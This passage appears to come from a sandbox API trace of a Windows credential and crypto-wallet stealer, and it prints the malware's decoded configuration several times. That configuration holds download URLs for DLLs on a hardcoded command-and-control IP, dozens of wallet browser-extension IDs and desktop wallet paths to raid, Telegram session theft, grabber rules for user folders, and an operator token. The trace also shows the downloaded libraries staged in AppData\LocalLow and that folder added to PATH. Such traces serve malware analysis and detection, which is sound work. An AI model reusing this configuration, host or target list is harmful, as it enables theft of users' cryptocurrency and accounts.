Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0260.860] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0260.860] LocalAlloc (uFlags=0x40, uBytes=0x29bc) returned 0x6b9720 [0260.860] StrCpyW (in: psz1=0x6e08b0, psz2="ecfd0f9298730a5c1fb78c7f49eedff3" | out: psz1="ecfd0f9298730a5c1fb78c7f49eedff3") returned="ecfd0f9298730a5c1fb78c7f49eedff3" [0260.860] LocalFree (hMem=0x6b9720) returned 0x0 [0260.861] lstrlenW (lpString="ecfd0f9298730a5c1fb78c7f49eedff3") returned 32 [0260.861] lstrlenW (lpString="http://51.195.166.178/") returned 22 [0260.861] LocalAlloc (uFlags=0x40, uBytes=0x16c) returned 0x6c56c8 [0260.861] LocalFree (hMem=0x6e08b0) returned 0x0 [0260.861] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b67a8 [0260.862] StrCpyW (in: psz1=0x6b67a8, psz2="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" [0260.862] lstrlenW (lpString="\\") returned 1 [0260.862] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0260.862] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6b69b8 [0260.862] lstrlenW (lpString="nss3.dll") returned 8 [0260.862] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0260.862] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6b67a8 [0260.863] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b6908 [0260.863] StrCpyW (in: psz1=0x6b6908, psz2="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" [0260.863] lstrlenW (lpString="\\") returned 1 [0260.863] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0260.863] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6b6b18 [0260.951] lstrlenW (lpString="sqlite3.dll") returned 11 [0260.951] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0260.951] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x6b6908 [0260.957] SetCurrentDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow")) returned 1 [0261.090] LocalAlloc (uFlags=0x40, uBytes=0x5000) returned 0x6b9720 [0261.090] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x6b9720, nSize=0x2800 | out: lpBuffer="") returned 0x8f [0261.091] lstrlenW (lpString=";") returned 1 [0261.091] lstrlenW (lpString="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 143 [0261.091] LocalAlloc (uFlags=0x40, uBytes=0x220) returned 0x692790 [0261.092] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0261.092] lstrlenW (lpString="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;") returned 144 [0261.092] LocalAlloc (uFlags=0x40, uBytes=0x266) returned 0x6e4288 [0261.092] SetEnvironmentVariableW (lpName="PATH", lpValue="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 1 [0261.093] LocalFree (hMem=0x6e4288) returned 0x0 [0261.093] StrStrW (lpFirst="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="sstmnfo_") returned="sstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0261.093] StrStrW (lpFirst="System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension 